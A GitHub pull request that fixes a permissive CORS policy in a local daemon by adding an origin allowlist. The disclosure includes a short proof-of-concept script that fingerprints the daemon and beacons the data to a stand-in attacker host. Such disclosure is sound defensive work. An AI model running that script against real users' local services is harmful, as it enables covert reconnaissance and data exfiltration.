Skip to content

Comments

fix: restrict daemon CORS to trusted origins (CWE-942)#108

Open
sebastiondev wants to merge 1 commit intosteipete:mainfrom
sebastiondev:fix/cors-origin-validation
Open

fix: restrict daemon CORS to trusted origins (CWE-942)#108
sebastiondev wants to merge 1 commit intosteipete:mainfrom
sebastiondev:fix/cors-origin-validation

Conversation

@sebastiondev
Copy link

Summary

The daemon's CORS policy reflects any Origin header back verbatim together with Access-Control-Allow-Credentials: true and Access-Control-Allow-Private-Network: true. This allows arbitrary websites to issue cross-origin requests to the daemon running on localhost, bypassing the browser's same-origin restrictions that normally protect local services.

Root cause: corsHeaders() never validates the incoming origin before echoing it into the response.

Affected Code

Function File Issue
corsHeaders() src/daemon/server.ts Reflects any Origin without validation
resolveOriginHeader() src/daemon/server.ts Returns raw header value (no allowlist check)

Impact

  1. Unauthenticated fingerprinting — any website a user visits can silently probe GET /health (unauthenticated) and learn that the daemon is running, its exact version, and its PID. This is useful for reconnaissance.

  2. Private Network Access bypass — the Access-Control-Allow-Private-Network: true header tells Chrome to allow the cross-origin request to a private/localhost address even from a secure (HTTPS) page. Without origin validation this effectively opts the daemon out of Chrome's PNA protections.

  3. Credential relay if token is compromised — because Access-Control-Allow-Credentials: true is set for every origin, a malicious page that has obtained the bearer token (e.g. from a leaked config file, log, or shoulder-surfing) can make fully authenticated requests to /v1/summarize, /v1/agent, etc. from the user's browser session.

Proof of Concept

A page on any origin can fingerprint the daemon:

<script>
fetch("http://127.0.0.1:8787/health")
  .then(r => r.json())
  .then(d => {
    // { ok: true, pid: 12345, version: "0.11.2" }
    navigator.sendBeacon("https://attacker.example/collect",
      JSON.stringify(d));
  });
</script>

The browser allows this because the daemon responds with:

Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true

Fix

Adds an isTrustedOrigin() allowlist check before reflecting the origin:

  • Browser extensionschrome-extension://, moz-extension://, safari-web-extension:// schemes are allowed (the daemon's primary cross-origin consumer is the Chrome/Firefox extension).
  • Localhostlocalhost, 127.0.0.1, [::1] hostnames are allowed (local dev tooling).
  • Everything else — CORS headers are omitted, so the browser blocks the cross-origin response.

The change is a single guard added to corsHeaders() plus the new helper; no other code paths are affected. Existing tests pass.

- Add isTrustedOrigin() allowlist for browser-extension and localhost origins
- Reject arbitrary web origins in corsHeaders() to prevent cross-site probing

CWE-942: Permissive Cross-domain Policy with Untrusted Domains
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant